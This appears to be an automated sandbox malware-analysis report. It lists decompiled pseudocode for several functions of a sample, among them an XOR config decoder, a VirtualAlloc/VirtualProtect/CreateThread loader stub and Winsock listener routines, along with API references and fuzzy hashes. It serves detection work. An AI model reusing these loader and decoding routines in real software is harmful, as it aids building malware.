Part of subcall function 0086A7A3: WaitForSingleObject.KERNEL32(00000000,?,?,?,00000000,00000100,00000000,00000100,?,?,?), ref: 0086A7F5

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Internet$__snprintf$Option_malloc$_memset$CloseHandleOpenThread$AllocateConnectCreateExitHeapHttpLocalObjectRequestSingleSleepTimeWait
String ID:
API String ID: 3724573112-0
Opcode ID: 3655d77148524ff6f67c927724de5ea8bcf5080ce2b17914247b5a8dd2350f6d
Instruction ID: 691ec6e722cd171305d9b0a2267ff35e977b1b4615ab00383d5a7f73c5a29ac2
Opcode Fuzzy Hash: 3655d77148524ff6f67c927724de5ea8bcf5080ce2b17914247b5a8dd2350f6d
Instruction Fuzzy Hash: 8161B471604301AAD710BB79DD4AB2FB6E8FFC4710F16492AF189DA1A2EF75C9408653

Uniqueness

Uniqueness Score: -1.00%

Function 0040158E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51memorythreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 004015B5
VirtualProtect.KERNELBASE ref: 00401600
CreateThread.KERNELBASE ref: 00401634

Strings

, xrefs: 004015F8

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocCreateProtectThread
String ID:
API String ID: 3039780055-3916222277
Opcode ID: c8b33f52f5220325701da6ceb09ebd5dd04bc3b58bafe3b35267d4f5cf632516
Instruction ID: 68fd8675f1f95f2430e423f91608b38a27b8c4887124d36c8ad738c910abe683
Opcode Fuzzy Hash: c8b33f52f5220325701da6ceb09ebd5dd04bc3b58bafe3b35267d4f5cf632516
Instruction Fuzzy Hash: 421148B4809344AFD700AF69C85835EFFF4FF89714F40882EE8999B291D77894098F96

Uniqueness

Uniqueness Score: -1.00%

Function 00869F9E, Relevance: 6.1, APIs: 4, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00869F9E(intOrPtr __eax, void* __eflags) {
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				signed short _t25;
				void* _t32;
				void* _t36;
				signed int _t40;
				void* _t42;
				void* _t45;
				signed int _t47;
				signed int _t51;
				void* _t60;
				signed int _t61;
				signed short _t65;
				signed int* _t66;
				signed int _t68;
				void* _t71;
				void* _t72;

				_push(_t45);
				_push(_t61);
				 *0x89aee4 = __eax;
				 *0x89aee8 = E00874855(_t45, _t60, _t61, 0x400);
				E0087C290(_t61, _t19, 0, 0x400);
				_t71 = (_t68 & 0xfffffff8) - 0x14 + 0x10;
				_t21 = 0;
				do {
					 *(_t21 + 0x892020) =  *(_t21 + 0x892020) ^ 0x0000002e;
					_t21 = _t21 + 1;
				} while (_t21 < 0x1000);
				E008667D0( &_v20, 0x892020, 0x1000);
				_t25 = E0086682C( &_v20);
				_t72 = _t71 + 0x10;
				while(1) {
					_t65 = _t25 & 0x0000ffff;
					if(_t65 <= 0) {
						break;
					}
					_t61 = E0086682C( &_v20) & 0x0000ffff;
					_t51 = E0086682C( &_v20) & 0x0000ffff;
					_t47 = _t65 << 3;
					_t66 = _t47 +  *0x89aee8;
					_t32 = _t61 - 1;
					 *_t66 = _t61;
					if(_t32 == 0) {
						 *((short*)(_t47 +  *0x89aee8 + 4)) = E0086682C( &_v20);
					} else {
						_t36 = _t32 - 1;
						if(_t36 == 0) {
							 *((intOrPtr*)(_t47 +  *0x89aee8 + 4)) = E008667E9( &_v20);
						} else {
							if(_t36 == 1) {
								_t61 = _t51;
								_t40 = E00874855(_t47, _t60, _t61, _t61); // executed
								_push(_t61);
								_t66[1] = _t40;
								_t42 = E00866857( &_v20, _t61);
								asm("invalid");
								_push(_t42);
								_push(_t66[1]);
								E0087B0A0(_t47, _t61, _t66);
								_t72 = _t72 + 0xc;
							}
						}
					}
					_t25 = E0086682C( &_v20);
				}
				return E0087C290(_t61, 0x892020, 0, 0x1000);
			}

0x00869fa7
0x00869fa9
0x00869fb0
0x00869fbe
0x00869fc3
0x00869fc8
0x00869fcb
0x00869fcd
0x00869fcd
0x00869fd4
0x00869fd5
0x00869feb
0x00869ff5
0x00869ffa
0x0086a09c
0x0086a09c
0x0086a0a2
0x00000000
0x00000000
0x0086a00c
0x0086a01e
0x0086a026
0x0086a029
0x0086a02f
0x0086a030
0x0086a033
0x0086a08c
0x0086a035
0x0086a035
0x0086a036
0x0086a075
0x0086a038
0x0086a039
0x0086a03b
0x0086a03f
0x0086a045
0x0086a046
0x0086a04f
0x0086a052
0x0086a056
0x0086a057
0x0086a05a
0x0086a05f
0x0086a05f
0x0086a039
0x0086a036
0x0086a096
0x0086a09b
0x0086a0c2

APIs

_malloc.LIBCMT ref: 00869FB5

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

_memset.LIBCMT ref: 00869FC3
_memset.LIBCMT ref: 0086A0B4

Part of subcall function 0086682C: htons.WS2_32(?), ref: 00866844

_malloc.LIBCMT ref: 0086A03F

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _malloc_memset$AllocateHeaphtons
String ID:
API String ID: 1140197067-0
Opcode ID: 633b28eeeded71aa379f708691ace9fb25675d94753850488e00ac5a99961c36
Instruction ID: 904f5257e572d068e5b0037f35a01004ac04fb1f062f2cd820406a6a0cc4e29e
Opcode Fuzzy Hash: 633b28eeeded71aa379f708691ace9fb25675d94753850488e00ac5a99961c36
Instruction Fuzzy Hash: 4C31E272804748AAC314EB78AC46E7B77ECFB48714F16482FF558E3182FA74D81486A3

Uniqueness

Uniqueness Score: -1.00%

Function 0086707E, Relevance: 4.6, APIs: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0086707E(void* __ecx, void* __edi) {
				char _v8;
				char _v12;
				void* __ebx;
				char* _t17;
				void* _t31;
				intOrPtr* _t34;
				void* _t36;

				_t34 =  *0x897e50;
				_v8 = 0;
				_v12 = 0;
				if( *0x897e54 == 0) {
					_t17 = E00874855(0, _t31, __edi, 0x100000); // executed
					 *0x897e54 = _t17;
				}
				while(_t34 != 0) {
					if( *((intOrPtr*)(_t34 + 4)) != 1) {
						L11:
						_t34 =  *((intOrPtr*)(_t34 + 0x20));
						continue;
					}
					L008832E6();
					 *((intOrPtr*)( *0x897e54)) = _t17;
					_t17 =  &_v8;
					__imp__#10( *((intOrPtr*)(_t34 + 0x1c)), 0x4004667f, _t17,  *_t34);
					if(_v8 > 0xffffc) {
						_v8 = 0xffffc;
					}
					if(_t17 == 0xffffffff) {
						L8:
						 *((intOrPtr*)(_t34 + 4)) = 0;
						_t17 = E008612CF(0,  *0x897e54, 4, 4);
						_t36 = _t36 + 0xc;
						goto L11;
					} else {
						if(_v8 <= 0) {
							goto L11;
						}
						_t17 = E00866981( *0x897e54 + 4,  *((intOrPtr*)(_t34 + 0x1c)), _v8);
						if(_t17 != 0xffffffff) {
							_t28 = _v8;
							if(_t17 == _v8) {
								_t17 = E008612CF(0,  *0x897e54, _t28 + 4, 5);
								_t36 = _t36 + 0xc;
								_v12 = _v12 + 1;
							}
							goto L11;
						}
						goto L8;
					}
				}
				return _v12;
			}

0x00867087
0x0086708d
0x00867090
0x00867099
0x008670a4
0x008670aa
0x008670aa
0x0086714b
0x008670b8
0x00867148
0x00867148
0x00000000
0x00867148
0x008670c0
0x008670cb
0x008670cd
0x008670d9
0x008670e6
0x008670e8
0x008670e8
0x008670f2
0x00867113
0x0086711d
0x00867120
0x00867125
0x00000000
0x008670f4
0x008670f7
0x00000000
0x00000000
0x00867107
0x00867111
0x0086712a
0x0086712f
0x0086713d
0x00867142
0x00867145
0x00867145
0x00000000
0x0086712f
0x00000000
0x00867111
0x008670f2
0x00867159

APIs

_malloc.LIBCMT ref: 008670A4

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 206294b2c2339145b6250653fb430245fc1409cccb40a672aa854eb115f90ab8
Instruction ID: b21339ad9aaf4f08a9002cbc1256c1550123888efd6732dedde9df7701be28d0
Opcode Fuzzy Hash: 206294b2c2339145b6250653fb430245fc1409cccb40a672aa854eb115f90ab8
Instruction Fuzzy Hash: A721A4B1808208EFCF20AF54DD4196D77B5FB1672AF2545AEF511E2290E3716E049B81

Uniqueness

Uniqueness Score: -1.00%

Function 00401732, Relevance: 4.6, APIs: 3, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 0040177F
CloseHandle.KERNEL32 ref: 004017CE

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 40c971fd04bee1323d094206b53cf3ae42c41b217a8508d409183b3db8f62eef
Instruction ID: e66347c571257ba28c28293077715e67f897d55185a2fea46d07617f18601b78
Opcode Fuzzy Hash: 40c971fd04bee1323d094206b53cf3ae42c41b217a8508d409183b3db8f62eef
Instruction Fuzzy Hash: 0E113AB59083059BD700AF69C48879FBBF4FB84364F00C92EE8A457390D7B985098FD6

Uniqueness

Uniqueness Score: -1.00%

Function 008687DA, Relevance: 4.5, APIs: 3, Instructions: 44
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008687DA(void* __esi, void* _a4, intOrPtr _a8) {
				struct _MEMORY_BASIC_INFORMATION _v32;
				void* _t8;
				void* _t20;
				void* _t22;

				_t8 = _a8 - 1;
				if(_t8 == 0) {
					E00869F9E(_a4, __eflags); // executed
					L12:
					return 1;
				}
				if(_t8 != 3) {
					goto L12;
				}
				_t20 = 0x26;
				if(E00869F52(_t20) != 1) {
					L10:
					E0086131B(_t31); // executed
					goto L12;
				}
				_t22 = _a4;
				if(_t22 != 0 && VirtualQuery(_t22,  &_v32, 0x1c) != 0) {
					_t31 = _v32.Type - 0x20000;
					if(_v32.Type != 0x20000) {
						__eflags = _v32.Type - 0x40000;
						if(__eflags == 0) {
							UnmapViewOfFile(_t22);
						}
					} else {
						VirtualFree(_t22, 0, 0x8000);
					}
				}
				goto L10;
			}

0x008687e3
0x008687e4
0x00868846
0x0086884b
0x0086884f
0x0086884f
0x008687e9
0x00000000
0x00000000
0x008687ed
0x008687f7
0x0086883c
0x0086883c
0x00000000
0x0086883c
0x008687fa
0x008687ff
0x00868812
0x00868819
0x0086882b
0x00868832
0x00868835
0x00868835
0x0086881b
0x00868823
0x00868823
0x00868819
0x00000000

APIs

VirtualQuery.KERNEL32(?,00000000,0000001C), ref: 00868808
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00868823
UnmapViewOfFile.KERNEL32(?), ref: 00868835

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Virtual$FileFreeQueryUnmapView
String ID:
API String ID: 2698264463-0
Opcode ID: cc29ff7bbabe375334c9a4dd955371b2fdd06559a1ef0b3360077c4fa58ceb1a
Instruction ID: 5827b3ddd7236189790bbbd5eda038934a81404387559ef5826cd1174e8fdd9b
Opcode Fuzzy Hash: cc29ff7bbabe375334c9a4dd955371b2fdd06559a1ef0b3360077c4fa58ceb1a
Instruction Fuzzy Hash: 48F0A431901618EBCB20ABA8D909FAE3768FB14754F928231F809F7141CF74DE41C6D6

Uniqueness

Uniqueness Score: -1.00%

Function 008625A5, Relevance: 3.0, APIs: 2, Instructions: 41
networkCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E008625A5() {
				char _v404;
				void* _t2;
				char* _t3;
				intOrPtr _t4;
				intOrPtr _t5;
				intOrPtr _t6;
				intOrPtr _t7;
				intOrPtr _t8;
				intOrPtr _t9;
				void* _t11;
				void* _t12;
				void* _t13;
				void* _t14;
				void* _t15;
				void* _t16;

				if( *0x897604 != 1) {
					_t3 =  &_v404;
					__imp__#115(0x202, _t3); // executed
					if(_t3 < 0) {
						__imp__#116();
						E00874FAC(1);
					}
					_t11 = 0x14;
					 *0x897604 = 1;
					_t4 = E00869F64(_t11);
					_t12 = 0x13;
					 *0x897608 = _t4;
					_t5 = E00869F64(_t12);
					_t13 = 0x3d;
					 *0x89760c = _t5;
					_t6 = E00869F7B(_t13);
					_t14 = 0x3e;
					 *0x89b31c = _t6;
					_t7 = E00869F7B(_t14);
					_t15 = 0x3f;
					 *0x89b310 = _t7;
					_t8 = E00869F7B(_t15);
					_t16 = 0x42;
					 *0x89b314 = _t8;
					_t9 = E00869F7B(_t16);
					 *0x89b318 = _t9;
					return _t9;
				}
				return _t2;
			}

0x008625b5
0x008625b7
0x008625c3
0x008625cb
0x008625cd
0x008625d5
0x008625d5
0x008625dc
0x008625dd
0x008625e7
0x008625ee
0x008625ef
0x008625f4
0x008625fb
0x008625fc
0x00862601
0x00862608
0x00862609
0x0086260e
0x00862615
0x00862616
0x0086261b
0x00862622
0x00862623
0x00862628
0x0086262d
0x00000000
0x0086262d
0x00862633

APIs

WSAStartup.WS2_32(00000202,?), ref: 008625C3
WSACleanup.WS2_32 ref: 008625CD

Part of subcall function 00874FAC: _doexit.LIBCMT ref: 00874FB8

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CleanupStartup_doexit
String ID:
API String ID: 3413891862-0
Opcode ID: 105536d88a7d4cb890f8b674790fb1aef9ded02366cf2753cb8f290c5285c31a
Instruction ID: a77d155d0d8e311027a292cec08140b25991fb4e660d90086bed1b8eacc16a73
Opcode Fuzzy Hash: 105536d88a7d4cb890f8b674790fb1aef9ded02366cf2753cb8f290c5285c31a
Instruction Fuzzy Hash: C0016271748B005AD722FB7DFE5A75876ECFB15700F154867F206DB2E2EBB481818A42

Uniqueness

Uniqueness Score: -1.00%

Function 00862634, Relevance: 3.0, APIs: 2, Instructions: 25
networkCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00862634(char* _a4) {
				int _t6;
				intOrPtr* _t8;

				E008625A5(); // executed
				_t6 = gethostname(_a4, 0x100); // executed
				if(_t6 != 0) {
					L5:
					return 0;
				}
				__imp__#52(_a4); // executed
				if(_t6 == 0 ||  *((short*)(_t6 + 8)) != 2) {
					goto L5;
				} else {
					_t8 =  *((intOrPtr*)(_t6 + 0xc));
					if( *_t8 == 0) {
						goto L5;
					}
					return  *((intOrPtr*)( *_t8));
				}
			}

0x00862638
0x00862645
0x0086264d
0x00862671
0x00000000
0x00862671
0x00862652
0x0086265a
0x00000000
0x00862663
0x00862663
0x00862669
0x00000000
0x00000000
0x00000000
0x0086266d

APIs

Part of subcall function 008625A5: WSAStartup.WS2_32(00000202,?), ref: 008625C3
Part of subcall function 008625A5: WSACleanup.WS2_32 ref: 008625CD

gethostname.WS2_32(00866536,00000100), ref: 00862645
gethostbyname.WS2_32(00866536), ref: 00862652

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CleanupStartupgethostbynamegethostname
String ID:
API String ID: 1171034671-0
Opcode ID: 33e3f6ce3f20afd6bed891dbb85ee6d4ffce027b5b622c0672b44dde2437f977
Instruction ID: 0eb841eff1e873160182d2fc6b7642008d9136cbd542e15469443d8449ada5b9
Opcode Fuzzy Hash: 33e3f6ce3f20afd6bed891dbb85ee6d4ffce027b5b622c0672b44dde2437f977
Instruction Fuzzy Hash: 39E01A742046049FEB219F29EC59A6537B4FB20390F2280D5FA05CB171E771ECA0CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0086715A, Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086715A() {
				void* __ecx;
				void* __edi;
				char _t1;
				void* _t4;
				void* _t7;
				void* _t9;

				E00866D81(_t1);
				_t9 = GetTickCount() + 0xdac; // executed
				do {
					_t4 = E0086707E(_t7, _t9); // executed
				} while (_t4 > 0 && GetTickCount() < _t9);
				return E00866FF5();
			}

0x0086715d
0x0086716c
0x00867172
0x00867172
0x00867177
0x00867189

APIs

Part of subcall function 00866D81: htonl.WS2_32(?), ref: 00866DBB
Part of subcall function 00866D81: select.WS2_32(00000000,?,?,?,?), ref: 00866E1F
Part of subcall function 00866D81: __WSAFDIsSet.WS2_32(00000000,?), ref: 00866E3B
Part of subcall function 00866D81: accept.WS2_32(00000000,00000000,00000000), ref: 00866E50
Part of subcall function 00866D81: ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00866E63

GetTickCount.KERNEL32 ref: 00867168

Part of subcall function 0086707E: _malloc.LIBCMT ref: 008670A4

GetTickCount.KERNEL32 ref: 0086717B

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CountTick$_mallocaccepthtonlioctlsocketselect
String ID:
API String ID: 1552798187-0
Opcode ID: 443f9cf19f2c7354ed0866596241eadb3322c27bc0eea97e4641c52ccc2de864
Instruction ID: d3f4a3b543922c77a3d5d2c925e44fb9fb35cf3b38c46ca9c1651789ef473949
Opcode Fuzzy Hash: 443f9cf19f2c7354ed0866596241eadb3322c27bc0eea97e4641c52ccc2de864
Instruction Fuzzy Hash: 6AD0A922B0902401A20033FDAC0609E2BAAEAC23B0337003BE500C6102ED64984303F3

Uniqueness

Uniqueness Score: -1.00%

Function 004017E2, Relevance: 2.5, APIs: 2, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 004017F2
Sleep.KERNELBASE ref: 00401806

Part of subcall function 00401732: CreateFileA.KERNELBASE ref: 0040177F

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: CreateFileSleepmalloc
String ID:
API String ID: 1916127908-0
Opcode ID: 12e2fb8987a6c9d5aaf3e3f960b544f8ae20f7c21a4f4d686e2ebabbe2894db3
Instruction ID: a019054884809c1ac462207508ca15e8987111bead2fc59bb344ae65c7a8583b
Opcode Fuzzy Hash: 12e2fb8987a6c9d5aaf3e3f960b544f8ae20f7c21a4f4d686e2ebabbe2894db3
Instruction Fuzzy Hash: 4DF0FEB45093049BD700BF6ADA8541EBFE8EB48359F41483EEA88E7355D73499408F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0086CE6A, Relevance: 1.8, APIs: 1, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E0086CE6A(intOrPtr* __esi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr* _v28;
				char _v32;
				intOrPtr* _v36;
				intOrPtr* _v40;
				intOrPtr* _v44;
				intOrPtr* _v48;
				intOrPtr* _v52;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v104;
				intOrPtr _v108;
				char* _v112;
				signed int _v116;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				intOrPtr _v148;
				signed int _v168;
				intOrPtr _v172;
				char* _v176;
				char _v180;
				char _v244;
				void* __ebx;
				void* __edi;
				void* __ebp;
				intOrPtr* _t94;
				void* _t95;
				intOrPtr _t96;
				signed int _t98;
				signed int _t100;
				signed int _t110;
				signed int _t111;
				signed int _t113;
				signed int _t116;
				void* _t118;
				signed int _t119;
				signed int _t123;
				intOrPtr* _t127;
				intOrPtr* _t128;
				intOrPtr _t133;
				intOrPtr _t143;
				void* _t161;
				void* _t162;
				void* _t163;

				_t160 = __esi;
				_v36 = __esi + 0x1c;
				_v28 = __esi + 0x20;
				_v40 = __esi + 8;
				_v12 = __esi + 4;
				_t94 = __esi + 0x14;
				_push(0);
				_push(_t94);
				_t128 = __esi + 0x10;
				_push(_t128);
				_t145 = __esi + 0x18;
				_push(_t145);
				_push(_v36);
				_t127 = __esi + 0xc;
				_push(_v28);
				_v48 = _t94;
				_push(_t127);
				_push(_v40);
				_v44 = _t128;
				_v52 = _t145;
				_t95 = E0086DB2B(_v12); // executed
				_t162 = _t161 + 0x24;
				_t165 = _t95;
				if(_t95 == 0) {
					_t96 = E008829A0(_t127, _t128, 0, _t165, 1, 0x8000); // executed
					_v16 = _t96;
					if(_t96 != 0) {
						_v176 =  &_v244;
						_v112 =  &_v180;
						_t133 = 2;
						_v80 = _t96;
						_v180 = 7;
						_v172 = 0x10;
						_v168 = 0;
						_v148 = 6;
						_v144 = 0;
						_v140 = 0;
						_v136 = 0;
						_v116 = 0xd;
						_v108 = _t133;
						_v104 = 0;
						_v84 = 4;
						_v76 = 0x8000;
						_v72 = 0;
						_t98 = E0086DB9C(_a4, 0xa2,  &_v116, _t133, 1);
						_t163 = _t162 + 0x14;
						__eflags = _t98;
						if(__eflags != 0) {
							_push(_v16);
							E00874778(_t127, _t145, 0, __esi, __eflags);
							_push(0);
							_push(0);
							_push(0);
							_t100 = E0086E000(_a4, 0xa2, 2, 1,  *_t127);
							_t162 = _t163 + 0x24;
							_v8 = _t100;
							__eflags = _t100;
							if(_t100 != 0) {
								L26:
								_push(0);
								_push( *_v48);
								_push( *_v44);
								_push( *_v52);
								_push( *_v36);
								_push( *_v28);
								_push( *_t127);
								_push( *_v12);
								E0086DB7A( *_v40);
								return _v8;
							}
							_t110 =  *0x89ae50( *_t127, 0);
							__eflags = _t110;
							if(_t110 != 0) {
								_t111 =  *0x89ae50( *_t127, 1);
								__eflags = _t111;
								if(_t111 != 0) {
									_push(0);
									_push(0);
									_push(0);
									_push( *_v12);
									_push(1);
									_push(2);
									_t113 = E0086E000(_a4, 0xa2, 2, 1,  *_t127);
									_t162 = _t162 + 0x2c;
									_v8 = _t113;
									__eflags = _t113;
									if(_t113 == 0) {
										L14:
										 *_t160 = 0;
										L15:
										__eflags = 0;
										return 0;
									}
									goto L26;
								}
								_v8 = 0x12;
								goto L26;
							}
							_t116 =  *0x89ae28( &_v32);
							_v8 = _t116;
							__eflags = _t116;
							if(_t116 != 0) {
								goto L26;
							}
							_push(0);
							_push(0);
							_push(0);
							_push( *_v52);
							_push(1);
							_t118 = 2;
							_push(_t118);
							_push( *_v28);
							_push(1);
							_push(_t118);
							_push( *_v36);
							_push(1);
							_push(_t118);
							_push( *_v48);
							_push(1);
							_push(_t118);
							_push( *_v44);
							_push(1);
							_push(_t118);
							_push( *_v40);
							_push(1);
							_push(_t118);
							_push( *_v12);
							_push(1);
							_push(_t118);
							_push( *_t127);
							_push(1);
							_push(_t118);
							_t119 = E0086E000(_a4, 0xa2, _t118, 1, _v32);
							_t162 = _t162 + 0x80;
							_push(_v32);
							_v8 = _t119;
							__eflags = _t119;
							if(_t119 == 0) {
								 *0x89ae30();
								 *__esi = 1;
								goto L15;
							}
							 *0x89ae30();
							L12:
							goto L26;
						}
						_v20 = 0;
						_v8 = 0;
						_v24 = 0;
						__eflags = _v76;
						if(_v76 <= 0) {
							_t143 = _v16;
							L10:
							_push(0);
							_push(0);
							_push(0);
							_push( *_v12);
							_push(1);
							_push(2);
							_t123 = E0086E000(_t143, _v24, 2, 1,  *_t127);
							_t162 = _t163 + 0x2c;
							_push(_v16);
							_v8 = _t123;
							__eflags = _t123;
							if(__eflags == 0) {
								E00874778(_t127, _t145, 0, _t160, __eflags);
								goto L14;
							}
							E00874778(_t127, _t145, 0, _t160, __eflags);
							goto L12;
						} else {
							goto L5;
						}
						do {
							L5:
							_t143 = _v16;
							_t98 = _t98 + _t98 |  *(_v20 + _t143) & 0x000000ff;
							_v8 = _v8 + 1;
							__eflags = _v8 - 8;
							if(_v8 == 8) {
								_v24 = _v24 + 1;
								 *(_v24 + _t143) = _t98;
								_t98 = 0;
								__eflags = 0;
								_v8 = 0;
							}
							_v20 = _v20 + 1;
							_t145 = _v20;
							__eflags = _v20 - _v76;
						} while (_v20 < _v76);
						goto L10;
					}
					_v8 = 0xd;
					goto L26;
				}
				return _t95;
			}

0x0086ce6a
0x0086ce78
0x0086ce7e
0x0086ce84
0x0086ce8a
0x0086ce8d
0x0086ce92
0x0086ce93
0x0086ce94
0x0086ce97
0x0086ce98
0x0086ce9b
0x0086ce9c
0x0086ce9f
0x0086cea2
0x0086cea5
0x0086cea8
0x0086cea9
0x0086ceac
0x0086ceb2
0x0086ceb5
0x0086ceba
0x0086cebd
0x0086cebf
0x0086cecc
0x0086ced3
0x0086ced8
0x0086ceee
0x0086cefa
0x0086cefd
0x0086cf01
0x0086cf10
0x0086cf1a
0x0086cf24
0x0086cf2a
0x0086cf34
0x0086cf3a
0x0086cf40
0x0086cf46
0x0086cf4d
0x0086cf50
0x0086cf53
0x0086cf5a
0x0086cf61
0x0086cf64
0x0086cf69
0x0086cf6c
0x0086cf6e
0x0086cff8
0x0086cffb
0x0086d000
0x0086d001
0x0086d002
0x0086d011
0x0086d016
0x0086d019
0x0086d01c
0x0086d01e
0x0086d110
0x0086d113
0x0086d114
0x0086d119
0x0086d11e
0x0086d123
0x0086d128
0x0086d12d
0x0086d12f
0x0086d136
0x00000000
0x0086d13e
0x0086d027
0x0086d02f
0x0086d031
0x0086d0ce
0x0086d0d6
0x0086d0d8
0x0086d0e6
0x0086d0e7
0x0086d0e8
0x0086d0e9
0x0086d0eb
0x0086d0ed
0x0086d0fd
0x0086d102
0x0086d105
0x0086d108
0x0086d10a
0x0086cff0
0x0086cff0
0x0086cff2
0x0086cff2
0x00000000
0x0086cff2
0x00000000
0x0086d10a
0x0086d0da
0x00000000
0x0086d0da
0x0086d03b
0x0086d042
0x0086d045
0x0086d047
0x00000000
0x00000000
0x0086d04d
0x0086d04e
0x0086d052
0x0086d053
0x0086d05b
0x0086d05e
0x0086d05f
0x0086d060
0x0086d065
0x0086d066
0x0086d067
0x0086d06c
0x0086d06d
0x0086d06e
0x0086d073
0x0086d074
0x0086d075
0x0086d07a
0x0086d07b
0x0086d07c
0x0086d081
0x0086d082
0x0086d083
0x0086d085
0x0086d086
0x0086d087
0x0086d089
0x0086d08a
0x0086d098
0x0086d09d
0x0086d0a3
0x0086d0a6
0x0086d0a9
0x0086d0ab
0x0086d0b8
0x0086d0bf
0x00000000
0x0086d0bf
0x0086d0ad
0x0086cfe4
0x00000000
0x0086cfe4
0x0086cf74
0x0086cf77
0x0086cf7a
0x0086cf7d
0x0086cf80
0x0086cfb4
0x0086cfb7
0x0086cfba
0x0086cfbb
0x0086cfbc
0x0086cfbd
0x0086cfbf
0x0086cfc1
0x0086cfcd
0x0086cfd2
0x0086cfd5
0x0086cfd8
0x0086cfdb
0x0086cfdd
0x0086cfea
0x00000000
0x0086cfef
0x0086cfdf
0x00000000
0x00000000
0x00000000
0x00000000
0x0086cf82
0x0086cf82
0x0086cf82
0x0086cf8e
0x0086cf90
0x0086cf93
0x0086cf97
0x0086cf9c
0x0086cf9f
0x0086cfa2
0x0086cfa2
0x0086cfa4
0x0086cfa4
0x0086cfa7
0x0086cfaa
0x0086cfad
0x0086cfad
0x00000000
0x0086cfb2
0x0086ceda
0x00000000
0x0086ceda
0x0086cff7

APIs

_calloc.LIBCMT ref: 0086CECC

Part of subcall function 008829A0: __calloc_impl.LIBCMT ref: 008829B5

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __calloc_impl_calloc
String ID:
API String ID: 2108883976-0
Opcode ID: fe031627ed840c77ad7a7db6b3bb4720f25dd725168a62390893376c31713a47
Instruction ID: c3d219bc60e9836eb756861a93f29d252a25b923602a35962a4452162e2da9f6
Opcode Fuzzy Hash: fe031627ed840c77ad7a7db6b3bb4720f25dd725168a62390893376c31713a47
Instruction Fuzzy Hash: DBA136B1D00208EFDF219F95CC45EAEBBB6FF89300F20455AF541AA260D7B29A50DF61

Uniqueness

Uniqueness Score: -1.00%

